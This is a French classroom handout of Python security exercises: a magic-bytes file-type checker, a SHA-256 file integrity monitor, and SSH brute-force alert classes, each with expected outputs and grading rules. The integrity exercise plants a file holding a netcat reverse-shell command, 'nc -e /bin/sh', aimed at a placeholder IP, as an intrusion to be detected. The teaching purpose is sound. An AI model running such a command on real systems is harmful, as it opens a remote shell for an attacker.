

Cet après-midi, vous combinez les deux cours du matin : les **objets** d'un côté, les **fichiers, octets et empreintes** de l'autre. Comptez **entre 20 et 30 minutes** par défi.

Règles du jeu

- Vous codez **vous-mêmes, sans IA** : ni ChatGPT, ni Claude, ni autocomplétion Copilot.
- La documentation Python est autorisée et même encouragée.
- Un fichier par défi : `challenge4.py` , `challenge5.py` et `challenge6.py` .
- **Validation** : levez la main, exécutez votre code devant moi puis répondez à une question sur votre code.
- **Notation** : non fait (0), partiel (1) ou réussi (2). Les défis comptent pour 10 % de la note du module.
- **Parcours confirmé** : validez ces trois défis puis passez aux défis avancés.

4

Fichiers déguisés

≈ 20 min

Octets · mode binaire · dictionnaires

Forensic

Un attaquant a glissé un exécutable Windows dans une pièce jointe nommée `invoice.pdf`. L'extension ment, mais les premiers octets du fichier, ses **magic bytes**, disent la vérité. Votre mission : écrire l'outil qui démasque les fichiers déguisés.

Votre mission

1. Copiez les données ci-dessous. Écrivez `create_samples(folder)`, qui crée le dossier puis chaque fichier de `SAMPLES` en **écrivant ses octets** (mode `"wb"`).
2. Écrivez `detect_type(path)`, qui lit les premiers octets du fichier et renvoie son type réel d'après `SIGNATURES`. Si le type est inconnu, elle renvoie `None`.
3. Écrivez `check_extension(path)`, qui renvoie un tuple : l'extension est-elle conforme (`True` ou `False`) puis le type réel.
4. Écrivez `scan(folder)`, qui affiche un verdict pour chaque fichier du dossier, dans l'ordre alphabétique.

Données à copier

```
SIGNATURES = {
    b"%PDF": "pdf",
    b"\x89PNG": "png",
    b"\xff\xd8\xff": "jpg",
    b"PK\x03\x04": "zip",
    b"MZ": "exe",
}

SAMPLES = {
    "report.pdf": b"%PDF-1.7\n% rapport d'audit",
    "logo.png": b"\x89PNG\r\n\x1a\n image",
    "photo.jpg": b"\x89PNG\r\n\x1a\n image",
    "archive.zip": b"PK\x03\x04 contenu",
    "invoice.pdf": b"MZ\x90\x00 programme Windows",
    "notes.txt": b"Liste des serveurs a auditer",
}
```

Exemples attendus

Résultats attendus

```
create_samples("samples")

print(detect_type("samples/photo.jpg"))
# png

print(check_extension("samples/invoice.pdf"))
# (False, 'exe')

scan("samples")
# [OK] archive.zip
# [ALERTE] invoice.pdf est en réalité un exe
# [OK] logo.png
# [?] notes.txt : type inconnu
# [ALERTE] photo.jpg est en réalité un png
# [OK] report.pdf
```

Indices

- Lisez l'en-tête en mode `"rb"` : en mode texte, l'octet `\x89` provoque une erreur de décodage.
- Les signatures n'ont pas toutes la même longueur : lisez 8 octets et utilisez `startswith()`.
- Avec `pathlib` : `Path(folder).iterdir()` parcourt un dossier, `path.suffix` donne `".pdf"` et `path.name` le nom du fichier.

Pour valider, montrez-moi...

- le dossier `samples` créé par votre programme ;
- les trois exemples ci-dessus, qui donnent exactement ces résultats.

Bonus

- Un exécutable déguisé est bien plus grave qu'une image mal nommée : affichez-le avec le niveau `[CRITICAL]`.
- Lancez votre scan sur votre vrai dossier de téléchargements. Votre outil ne fait que **lire** : il ne modifie rien.

5

Contrôle d'intégrité

≈ 30 min

hashlib · JSON · ensembles

SOC

Après une intrusion, un attaquant modifie souvent des fichiers de configuration, supprime des traces ou dépose une porte dérobée. Les outils de **surveillance de l'intégrité des fichiers** (FIM, comme AIDE ou Tripwire) calculent l'empreinte de chaque fichier puis comparent avec une **référence**. Vous allez écrire le vôtre.

Votre mission

1. Créez un dossier `monitored` contenant les trois fichiers de `INITIAL_FILES`.
2. Écrivez `sha256_file(path)`, qui renvoie l'empreinte SHA-256 d'un fichier lu **par blocs**.
3. Écrivez `build_baseline(folder)`, qui renvoie un dictionnaire `{nom du fichier: empreinte}`.
4. Écrivez `save_baseline(baseline, json_path)` et `load_baseline(json_path)`.
5. Écrivez `compare(old, new)`, qui renvoie un dictionnaire des fichiers **ajoutés, modifiés et supprimés**, chaque liste triée.
6. Simulez l'intrusion décrite ci-dessous puis affichez le rapport.

Données à copier

```
INITIAL_FILES = {  
    "config.txt": "port=22\npermit_root_login=no\n",  
    "users.txt": "alice\nbob\ncarol\n",  
    "backup.sh": "tar -czf /backup/etc.tar.gz /etc\n",  
}
```

L'intrusion à simuler, après avoir sauvegardé la référence

- dans `config.txt`, `permit_root_login=no` devient `permit_root_login=yes` ;
- `backup.sh` est supprimé ;
- un fichier `backdoor.sh` apparaît, contenant `nc -e /bin/sh 203.0.113.45 4444`.

Exemples attendus

Résultats attendus

```
reference = build_baseline("monitored")
print(reference["config.txt"])
# 4e6c73486e42ac00fdf8ded97f2487a1d3849ed636b4a1420e436cc8476bf662
save_baseline(reference, "baseline.json")

# ... intrusion ...

print(compare(load_baseline("baseline.json"), build_baseline("monitored")))
# {'added': ['backdoor.sh'], 'modified': ['config.txt'], 'deleted': ['back
up.sh']}
```

Sous Windows, votre empreinte de `config.txt` sera différente : en mode texte, Python y écrit les fins de ligne `\r\n` au lieu de `\n`. Un seul octet de plus suffit à changer toute l'empreinte. C'est justement le principe !

Indices

- Revoyez la diapo « Empreinte SHA-256 » du cours 3 pour la lecture par blocs.
- Les ensembles font le gros du travail : `set(new) - set(old)` donne les noms présents seulement dans `new` ; `set(old) & set(new)` ceux présents dans les deux.
- Ne rangez pas `baseline.json` dans le dossier surveillé. Devinez pourquoi !

Pour valider, montrez-moi...

- le fichier `baseline.json` ;
- le rapport après l'intrusion, qui donne exactement le résultat attendu.

Bonus

- Affichez un rapport lisible : `[+]` ajouté, `[~]` modifié, `[-]` supprimé.
- Relancez le scan automatiquement toutes les 5 secondes avec `time.sleep()` et modifiez un fichier pendant ce temps.
- Réfléchissez : un attaquant administrateur de la machine peut-il tromper votre outil ? Comment protéger la référence ?

6

Alertes en objets

≈ 25 min

Héritage · polymorphisme · fichiers · JSON

SOC

Votre détecteur de brute force du défi 2 fonctionne. Il faut maintenant l'industrialiser comme dans un SIEM : lire un vrai fichier de journal, produire des **alertes typées** et les exporter en JSON pour les autres outils du SOC.

Votre mission

1. Écrivez le journal `AUTH_LOG` du défi 2 (rappelé ci-dessous) dans un fichier `auth.log`, une ligne par élément.
2. Créez une classe `Alert` :
 - un **attribut de classe** `severity = "INFO"` et un attribut `ip` ;
 - une méthode `describe()` qui renvoie `[INFO] activité suspecte depuis <ip>` ;
 - une méthode `to_dict()` qui renvoie `{"severity": ..., "ip": ..., "message": ...}`.
3. Créez deux classes filles qui redéfinissent `severity` et `describe()` :
 - `BruteForceAlert(ip, failures)`, de sévérité `"HIGH"` ;
 - `CompromiseAlert(ip, user)`, de sévérité `"CRITICAL"` : une IP qui réussit à se connecter après un brute force.
4. Écrivez `analyze(path, threshold=5)`, qui **lit le fichier** et renvoie la liste des alertes.
5. Affichez chaque alerte puis enregistrez-les toutes dans `report.json`.

Données à copier – le journal du défi 2

Données à copier – journal d'authentification

```
AUTH_LOG = [
    "Oct 7 09:12:03 srv-web sshd[2101]: Accepted password for alice from 192.0.2.10 port 50122 ssh2",
    "Oct 7 09:40:17 srv-web sshd[2144]: Failed password for bob from 192.0.2.25 port 50388 ssh2",
    "Oct 7 09:40:29 srv-web sshd[2144]: Accepted password for bob from 192.0.2.25 port 50388 ssh2",
    "Oct 7 10:02:11 srv-web sshd[2210]: Failed password for root from 203.0.113.45 port 51122 ssh2",
    "Oct 7 10:02:14 srv-web sshd[2212]: Failed password for root from 203.0.113.45 port 51130 ssh2",
    "Oct 7 10:02:18 srv-web sshd[2215]: Failed password for invalid user admin from 203.0.113.45 port 51141 ssh2",
    "Oct 7 10:02:21 srv-web sshd[2218]: Failed password for invalid user test from 203.0.113.45 port 51150 ssh2",
    "Oct 7 10:02:25 srv-web sshd[2221]: Failed password for alice from 203.0.113.45 port 51162 ssh2",
    "Oct 7 10:02:29 srv-web sshd[2224]: Failed password for alice from 203.0.113.45 port 51170 ssh2",
    "Oct 7 10:02:33 srv-web sshd[2227]: Failed password for alice from 203.0.113.45 port 51178 ssh2",
    "Oct 7 10:02:36 srv-web sshd[2230]: Accepted password for alice from 203.0.113.45 port 51185 ssh2",
    "Oct 7 10:02:37 srv-web sshd[2230]: pam_unix(sshd:session): session opened for user alice by (uid=0)",
    "Oct 7 10:15:40 srv-web sshd[2301]: Failed password for invalid user oracle from 198.51.100.23 port 40022 ssh2",
    "Oct 7 10:15:44 srv-web sshd[2303]: Failed password for invalid user postgres from 198.51.100.23 port 40031 ssh2",
    "Oct 7 10:15:47 srv-web sshd[2305]: Failed password for root from 198.51.100.23 port 40040 ssh2",
    "Oct 7 10:15:51 srv-web sshd[2307]: Failed password for invalid user ubuntu from 198.51.100.23 port 40052 ssh2",
    "Oct 7 10:15:55 srv-web sshd[2309]: Failed password for invalid user pi from 198.51.100.23 port 40060 ssh2",
    "Oct 7 10:16:02 srv-web sshd[2311]: Connection closed by 198.51.100.23 port 40071 [preauth]",
    "Oct 7 11:30:08 srv-web sshd[2402]: Failed password for carol from 198.51.100.77 port 42210 ssh2",
    "Oct 7 11:30:15 srv-web sshd[2404]: Failed password for carol from 198.51.100.77 port 42218 ssh2",
    "Oct 7 11:31:02 srv-web sshd[2410]: Accepted password for carol from 198.51.100.77 port 42230 ssh2",
]
```

Exemples attendus

Résultats attendus

```
alerts = analyze("auth.log")
for alert in alerts:
    print(alert.describe())
# [HIGH] brute force depuis 203.0.113.45 : 7 échecs
# [HIGH] brute force depuis 198.51.100.23 : 5 échecs
# [CRITICAL] 203.0.113.45 s'est connecté au compte alice après un brute force

print(Alert("192.0.2.99").describe())
# [INFO] activité suspecte depuis 192.0.2.99

print(isinstance(alerts[0], Alert))
# True
```

Indices

- Revoyez les diapos « Attributs de classe ou d'instance », « Hériter d'une classe » et « Le polymorphisme » du cours 2.
- `to_dict()` ne s'écrit **qu'une fois**, dans `Alert` : en appelant `self.describe()`, elle utilisera automatiquement la bonne version.
- Pour que les accents restent lisibles dans `report.json` : `json.dump(..., indent=2, ensure_ascii=False)`.

Pour valider, montrez-moi...

- les trois exemples ci-dessus, qui donnent exactement ces résultats ;
- le fichier `report.json` ouvert dans VS Code.

Bonus

- Triez les alertes de la plus grave à la moins grave.
- Ajoutez une méthode `__str__` pour afficher une alerte avec un simple `print(alert)`.
- Filtrez les alertes par sévérité grâce à un argument de la ligne de commande : `python challenge6.py CRITICAL ( sys.argv )`.